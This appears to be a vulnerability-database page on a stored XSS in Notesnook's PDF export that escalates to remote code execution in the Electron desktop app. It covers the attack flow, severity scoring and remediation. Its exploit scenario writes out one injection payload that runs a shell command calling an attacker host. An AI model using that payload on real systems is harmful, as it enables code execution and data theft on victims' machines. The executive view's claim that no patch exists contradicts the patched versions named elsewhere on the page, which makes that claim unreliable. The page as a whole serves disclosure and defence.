Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft malicious note with JavaScript
-
DeliveryDeliver note via sync/import/sharing
-
ExploitVictim opens note in Notesnook
-
InstallVictim triggers Export to PDF
-
C2Unescaped HTML renders in Electron iframe
-
ExecuteJavaScript executes with Node.js APIs
-
ImpactArbitrary code runs with user privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to perform two deliberate actions: first, the victim must have a malicious note present in their Notesnook database (either by importing untrusted content, syncing from a compromised account, or opening a malicious .nn file), and second, the victim must explicitly trigger the Export to PDF function on that specific note. The RCE component only affects Notesnook Desktop running on Electron with nodeIntegration: true and contextIsolation: false configurations (default in vulnerable versions). Mobile platforms (iOS/Android) are limited to XSS-based information disclosure within the app sandbox due to WebView security boundaries. Attack complexity is low (AC:L) once the malicious note is in place-no special timing, race conditions, or system configurations are required beyond the default vulnerable Electron settings. User interaction requirement (UI:R) is the primary limiting factor: unlike drive-by exploits, this cannot execute silently and requires explicit user action on the malicious note. No authentication required (PR:N) means any note content-whether from anonymous sharing, public repositories, or guest collaboration-can deliver the payload. The changed scope (S:C) reflects escape from the application's intended browser sandbox to full operating system access. |
| Impact | Real-world risk assessment reveals a critical vulnerability with important practical limitations. The CVSS 9.6 score accurately reflects technical severity: network attack vector (AV:N) with low complexity (AC:L), no privileges required (PR:N), changed scope (S:C) representing container escape from browser to OS context, and full CIA triad impact (C:H/I:H/A:H). However, mandatory user interaction (UI:R) creates a significant practical barrier-an attacker must socially engineer the victim to import a malicious note AND trigger the export-to-PDF function. The attack chain requires: (1) attacker shares/syncs malicious note content to victim's Notesnook instance, (2) victim opens the note, (3) victim explicitly initiates PDF export. This multi-step process substantially reduces weaponization potential compared to silent drive-by exploits. No EPSS score or KEV status provided in input data, preventing assessment of observed exploitation activity. The vulnerability's disclosure through GitHub Security Advisory (GHSA-fjm8-jg78-89h4) with coordinated patch releases suggests responsible disclosure without evidence of prior exploitation. Patch availability across all platforms (Desktop 3.3.15, Mobile 3.3.20) within a single coordinated release indicates vendor treated this as high priority. Primary risk exists in shared/collaborative note-taking scenarios where users routinely import content from semi-trusted sources, or in targeted attacks against high-value individuals using Notesnook for sensitive information. Desktop users face RCE risk; mobile users face credential theft/data exfiltration limited to app sandbox. |
| Exploit ScenarioDerived | Attacker crafts a Notesnook note with malicious JavaScript embedded in the title or content fields, such as <img src=x onerror="require('child_process').exec('curl attacker.com/$(whoami)')">. The attacker shares this note with the victim through Notesnook's sync feature, email export, or by social engineering the victim to import a .nn file. When the victim opens the note in Notesnook Desktop and uses the Export to PDF feature, the application renders the unescaped HTML into an iframe with Node.js integration enabled. The injected JavaScript executes with full system privileges, allowing the attacker to execute arbitrary commands, install persistent backdoors, exfiltrate the victim's note database (potentially containing credentials, API keys, or sensitive business information), or pivot to the local network. No public exploit code confirmed in provided data, but the technical details in the GitHub Security Advisory provide sufficient information for skilled attackers to develop working exploits. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 04, 2026
Remote code execution in Notesnook Desktop (Electron-based) via stored XSS in the note export-to-PDF flow allows unauthenticated remote attackers to execute arbitrary code when a user opens a maliciously crafted note. The vulnerability stems from unescaped HTML in exported note fields (title, headline, content) that execute in an Electron iframe with nodeIntegration enabled and contextIsolation disabled, escalating browser-based XSS to full RCE. Affects Notesnook Web/Desktop <3.3.15 and iOS/Android <3.3.20. CVSS 9.6 with changed scope (S:C) reflects privilege escalation from browser context to system-level code execution. EPSS and KEV data not provided, but requires user interaction (UI:R) to export/view the malicious note, limiting automated exploitation.
RemediationAI
Upgrade immediately to Notesnook Desktop/Web version 3.3.15 or later (https://github.com/streetwriters/notesnook/releases/tag/v3.3.15) and Notesnook iOS/Android version 3.3.20 or later (https://github.com/streetwriters/notesnook/releases/tag/3.3.20-android). Desktop users face critical RCE exposure and should prioritize this update. Until patching is complete, implement these compensating controls: (1) Disable or avoid using the Export to PDF feature entirely-this completely eliminates the attack vector but removes key functionality; (2) Do not import notes from untrusted sources or shared note repositories until upgraded; (3) Review existing notes for suspicious HTML/JavaScript content in title and body fields, particularly script tags, event handlers (onerror, onload), or data: URIs; (4) On Desktop, consider running Notesnook in a sandboxed environment (VM, container, or restricted user account) to contain potential RCE impact, though this adds operational overhead. No server-side or network-level mitigations are effective since the vulnerability exists in client-side rendering logic. Organizations using Notesnook in shared/collaborative environments should audit note access logs and treat all notes created or modified before patch deployment as potentially malicious. The vendor's coordinated cross-platform patch release suggests no architectural workarounds exist-upgrading is the definitive solution.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Notesnook is a cross-platform note-taking application built on Electron for desktop and native mobile frameworks. The vulnerability exploits the PDF export feature's HTML rendering pipeline. When exporting notes to PDF, the application generates an HTML template by directly inserting user-controlled fields (title, headline, note content) without HTML entity encoding. This HTML is then rendered into an iframe using the srcdoc attribute (iframe.srcdoc = ...), which loads content in the same origin as the parent application. The root CWE-79 (Cross-Site Scripting) is escalated to RCE through Electron's insecure configuration: nodeIntegration: true grants iframe content access to Node.js APIs including require(), child_process, and fs modules, while contextIsolation: false removes the security boundary between web content and Electron's privileged context. This configuration pattern directly violates Electron security best practices (Electron Security Checklist items 2 and 3). The affected CPE cpe:2.3:a:streetwriters:notesnook:*:*:*:*:*:*:*:* confirms streetwriters as vendor. Mobile versions (iOS/Android) are also vulnerable to the underlying XSS but lack the Electron-specific RCE vector, limiting impact to information disclosure within the WebView context.
Know when Notesnook gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Primary rating from Vendor (GitHub_M) · only source for this CVE.
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
3DescriptionCVE.org
Notesnook is a note-taking app focused on user privacy & ease of use. Prior to Notesnook Web/Desktop version 3.3.15 and prior to Notesnook iOS/Android version 3.3.20, a stored XSS vulnerability in the note export flow can be escalated to remote code execution in the desktop app. The root cause is that exported note fields such as title, headline, and content are inserted into the generated HTML template without HTML escaping. When the note is later exported to PDF, Notesnook renders that HTML into a same-origin, unsandboxed iframe using iframe.srcdoc = .... Injected script executes in the Notesnook origin. In the desktop app, this becomes RCE because Electron is configured with nodeIntegration: true and contextIsolation: false. This issue has been patched in Notesnook Web/Desktop version 3.3.15 and Notesnook iOS/Android version 3.3.20.
Executive ViewAI
Notesnook Desktop versions below 3.3.15 contain a critical remote code execution vulnerability that allows attackers to execute arbitrary system commands through maliciously crafted notes. An unauthenticated attacker can deliver a crafted note that, when exported to PDF or viewed by a user, executes malicious code with full system privileges, potentially compromising user data, credentials, and system integrity. Organizations using Notesnook Desktop for sensitive note-taking should treat this as an urgent security incident requiring immediate user communication and environment assessment.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or restrict PDF export functionality at application or network level until patch confirmed available; (2) Prohibit opening notes from untrusted sources; (3) Isolate affected systems from sensitive data networks; (4) Monitor process execution and file access originating from Notesnook application paths; (5) Instruct users to avoid exporting notes to PDF until updated version is deployed; (6) Consider alternative note-taking applications without Electron-based architecture as interim measure for critical workflows.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2026-27019
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB